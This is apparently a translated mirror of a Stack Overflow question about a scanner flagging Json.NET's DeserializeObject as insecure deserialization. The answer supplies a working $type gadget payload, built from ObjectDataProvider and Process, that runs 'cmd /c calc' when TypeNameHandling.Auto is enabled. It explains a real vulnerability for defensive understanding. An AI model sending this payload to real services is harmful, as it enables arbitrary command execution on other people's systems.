繁体   English   中英

使用 Json.NET 进行不安全的反序列化

[英]Insecure deserialization using Json.NET

静态安全扫描器在这一行标记了我的 C# 代码:

var result = JsonConvert.DeserializeObject<dynamic>(response);

response将包含来自 Web API 的 JSON 响应。

扫描器将此标记为“不安全的反序列化”。

有人可以帮助我了解如何利用它吗? Web 示例并不清楚漏洞利用是否可以在DeserializeObject方法本身内发生,或者是否仅在反序列化之后发生。

尝试反序列化这个 json:

{
    "$type": "System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName": "Start",
    "MethodParameters": {
        "$type": "System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "$values": [ "cmd", "/c calc" ]
    },
    "ObjectInstance": { "$type": "System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" }
}

使用此代码

dynamic obj = JsonConvert.DeserializeObject<dynamic>(json, new JsonSerializerSettings
{
    TypeNameHandling = TypeNameHandling.Auto
});

它将打开 Windows 计算器应用程序。 可以运行任何可执行文件或脚本的方式相同。 如果您使用object而不是dynamic或非通用DeserializeObject方法,问题仍然存在。 请注意,如果您不设置TypeNameHandling = TypeNameHandling.Auto ,其他人可能会像这样设置全局设置:

JsonConvert.DefaultSettings = () => 
    new JsonSerializerSettings{TypeNameHandling = TypeNameHandling.Auto};

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM